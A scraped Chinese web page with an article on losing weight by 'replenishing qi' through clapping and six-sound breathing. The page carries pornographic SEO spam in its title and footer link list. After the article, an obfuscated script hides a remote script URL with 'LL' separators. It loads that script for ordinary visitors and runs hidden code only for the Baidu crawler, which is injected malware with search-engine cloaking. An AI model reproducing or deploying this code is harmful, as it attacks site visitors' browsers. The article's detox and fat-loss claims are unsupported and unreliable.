久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 減肥方法 > 正文

補氣減肥法怎么做?

2017-06-12 14:43:19  來源:360常識網   熱度:
導語:人為什么會越來越胖呢?中醫一直認為的就是胖子都是因為氣虛的緣故導致肥胖,胖子容易氣虛,而反過來,可能正是因為你氣虛,所以怎么也瘦不

人為什么會越來越胖呢?中醫一直認為的就是胖子都是因為氣虛的緣故導致肥胖,胖子容易氣虛,而反過來,可能正是因為你氣虛,所以怎么也瘦不下來,因此想要減肥,就很有必要進行補氣,先把體內的氣補回來了,那身體才能進行自我調節。所以今天小編就為大家帶來幾種補氣減肥的方法吧。

如何補氣減肥?

氣虛肥胖,就當補氣,氣補足了,體內的肥肉就有了運化的動力,就能在體內被加速分解,排出體外了。那么,應該通過什么樣的方法來補氣減肥呢?

一、最簡單的補氣減肥:清晨拍手

操作指南:最好在早上拍手,將你的十指分開,手掌對手掌,手指對手指,均勻地互相拍擊。切記拇指與其他四指分開,以免拍手過度造成淤血。開始可以輕拍,以后逐漸加重。以自己的雙手能承受為度。因為拍手時,都是對準一個或幾個重要的穴位和反射區,刺激它們,就能打通經絡,保證氣血的通暢,氣血通暢了就能運化走體內的毒素和肥肉,讓你輕松變瘦。

二、呼吸補氣減肥

補氣減肥的方法很多樣,目的都是為了通過補氣讓身體變得更美更苗條。要想補氣減肥,還可以用呼吸六字訣,這是古代流傳下來的一種吐納養生減肥法,它的最大功能就是通過呼吸引導,調動五臟六腑之氣,幫助你排出濁氣,恢復苗條輕盈。

如何來吐出體內的濁氣,減肥輕身呢?來試試這個排毒六字訣——噓、呵、呼、呬、吹、嘻。

呼氣時,手掌心貼在肚臍眼上,盡量發出這幾個詞的音,每個詞重復10遍,呼吸周期大約為10秒一次,以此來排毒瘦身。

發噓聲可以吐出肝上的毒氣;發呵聲可以吐出心上的毒氣;發呼聲可以吐出脾上的毒氣;發呬聲可以吐出肺上的毒氣;發吹聲可以吐出腎上的毒氣;發嘻聲可以吐出三焦上的毒氣。通過這些地方排毒,可以促進體內循環,有助于你體內的脂肪分解,改變肥胖情況。

以上就是為大家帶來的幾種補氣減肥的方法了,希望大家在看了以上文章之后都能對這種方法有所了解,如果你也正好在進行減肥,那么以上文章的做法非常的適合你哦。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 超碰在线最新 | 日韩午夜一级片 | 国产欧美精品一区二区三区 | 一区二区三区在线播放视频 | 欧美成人免费视频 | 黄色大片在线 | 中文字幕在线观看精品视频 | 一区二区三区在线免费观看 | 成人小视频在线观看 | 狠狠色综合网站久久久久久久 | 精品久久久久久久久久久久 | 中文字幕 视频一区 | 综合色视频 | 日韩不卡 | 免费毛片一区二区三区久久久 | 精品九九九 | 在线观看欧美一区 | 一区二区三区四区在线 | 天堂免费在线观看视频 | 日韩精品免费观看 | 国产精品91视频 | 黄色av网| 国产精品视频一区二区免费不卡 | 亚洲人成电影网 | 欧美.com | 一本一道久久a久久精品蜜桃 | 国产精品视频久久久 | 日韩在线欧美 | 黄色的视频免费 | 日韩在线欧美 | 午夜久久av | 亚洲精品福利 | 亚洲精品久久久狠狠狠爱 | 在线中文视频 | 日韩视频在线观看不卡 | 欧美一区二区三区视频 | 国产高清毛片 | 午夜色视频在线观看 | 特级丰满少妇一级aaaa爱毛片 | 成人午夜在线 | 国内精品视频一区二区三区 |